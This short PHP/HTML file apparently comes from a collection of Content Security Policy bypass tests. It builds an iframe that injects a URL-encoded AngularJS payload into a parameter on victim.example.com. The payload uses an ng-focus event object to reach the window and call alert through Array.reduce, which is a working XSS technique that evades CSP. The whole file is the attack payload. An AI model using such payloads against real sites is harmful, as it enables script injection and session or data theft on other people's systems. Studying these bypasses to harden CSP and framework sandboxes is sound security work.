<iframe src='//victim.example.com/repo/csp/sd/angular.php?inj=<?php
$payload = <<<'PAYLOAD'
<div ng-app ng-csp>
  <div ng-focus="x=$event" id=f tabindex=0>foo</div>
  <div ng-repeat="(key, value) in x.view">
    <div ng-if=key=="window">{{ value.alert = [1].reduce(value.alert, 1337) }}</div>
  </div>
</div>
<script>strict_dynamic_beacon();</script>
PAYLOAD;
echo rawurlencode($payload); ?>#f'></iframe>
